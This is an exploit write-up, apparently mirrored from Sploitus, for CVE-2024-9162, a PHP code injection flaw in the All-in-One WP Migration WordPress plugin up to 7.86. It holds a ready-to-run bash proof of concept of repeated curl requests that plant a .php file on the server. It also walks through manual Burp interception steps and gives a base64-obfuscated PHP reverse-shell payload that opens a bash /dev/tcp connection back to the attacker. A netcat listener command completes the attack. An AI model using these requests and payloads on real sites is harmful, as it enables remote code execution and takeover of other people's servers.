Share
## https://sploitus.com/exploit?id=5F664E7E-D5AA-5CA9-AAE1-EA7BCA1F3E61
# CVE-2024-9162
## All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection

The [All-in-One WP Migration plugin for WordPress](https://wordpress.org/plugins/all-in-one-wp-migration/) is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site's server, adding an arbitrary PHP code to it, which may make remote code execution possible.

### TL;DR Exploits
* [CVE-2024-9162.sh](https://github.com/d0n601/CVE-2024-9162/blob/main/CVE-2024-9162.sh)
* [CVE-2024-9162.py](https://github.com/d0n601/CVE-2024-9162/blob/main/CVE-2024-9162.py)

### Details
The `ai1wm_secret_key` is a 12 character alphanumeric string created when the plugin is initialized. The key is **never rotated**, **does not expire**, and is **stored plain text** in the `wp_options` table.

```sql
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)
```

### Basic Proof of Concept:
This will create a php file containing a call to `phpinfo();`, which can be replaced with a better payload as seen in the manual reproduction section. Notice there is no authorization required beyond the secret key parameter. 
```bash
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
```
![Screenshot from 2024-08-13 15-36-42](https://github.com/user-attachments/assets/e76dd0f6-6bd0-4ae4-8e46-f9a19b523ca1)


### Manually To Reproduce:
It should be noted that the `php` file created via these steps will first appear in `wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php` before being deleted by the script and moved to `wp-content/ai1wm-backups/reverse_shell.php`. 

* Log in, Click all in one WP migration export to access the "Export Site" [page](https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export).
  * ![Screenshot from 2024-08-12 15-40-48](https://github.com/user-attachments/assets/ce50c0f7-fe04-4bbc-97b6-a9b5adfac357)

*  In the **Find * Replace with** `<another-text>` **in the database**.
  * Input `*` into the *Find* box.
  * Input your crafted php payload into  into the *Replae With* box (`phpinfo();`, web shell, etc).
    * Reverse Shell Example: `<?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>`. This will decode to `exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");`.
  *  ![Screenshot from 2024-08-12 15-38-01](https://github.com/user-attachments/assets/04a86c62-d011-416f-9986-9f3115d8fb84)
* Setup Burp or similar tool and begin to proxy the traffic, then click the green "Export To -> File" option.
  *  ![Screenshot from 2024-08-12 15-42-30](https://github.com/user-attachments/assets/38187eda-0ff9-4564-881d-d6545233f468)
  *  ![Screenshot from 2024-08-12 15-39-38](https://github.com/user-attachments/assets/2f4bcd32-2088-4fcf-a5cc-0b3446be64c9)
* Forward the first request: `POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1`, without manipulation.
* Forward: `GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2`.
* Intercepting the request to `POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2`
   * Modify the `archive` parameter to whatever name you like, and the `.php` extension, and then forward the request.
   *  ```
        POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
        Host: wordpress.hacker
        Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 883
        Origin: https://wordpress.hacker
        Dnt: 1
        Sec-Gpc: 1
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin
        Te: trailers
              action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
       ```
    * ![Screenshot from 2024-08-12 15-28-15](https://github.com/user-attachments/assets/31b5137b-0467-403a-8b05-109d82f4c9d9)
    * Turn off interception and let all other requests flow through until the job is completed and a download button is presented on the screen.
      * ![Screenshot from 2024-08-12 15-30-06](https://github.com/user-attachments/assets/8b2498ad-3102-431d-8a18-db239dd5351d)
    * Notice that the link to the downoad is a link to a php file containing the payload `https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php`.
    * Fire up a netcat listener on an attacking machine to catch the reverse shell `nc -lnvp 4444`.
    * Click the download button and catch the reverse shell.
      *   ![Screenshot from 2024-08-12 15-34-27](https://github.com/user-attachments/assets/5ce09f7f-9886-4f1f-89a3-f7abbd674de9)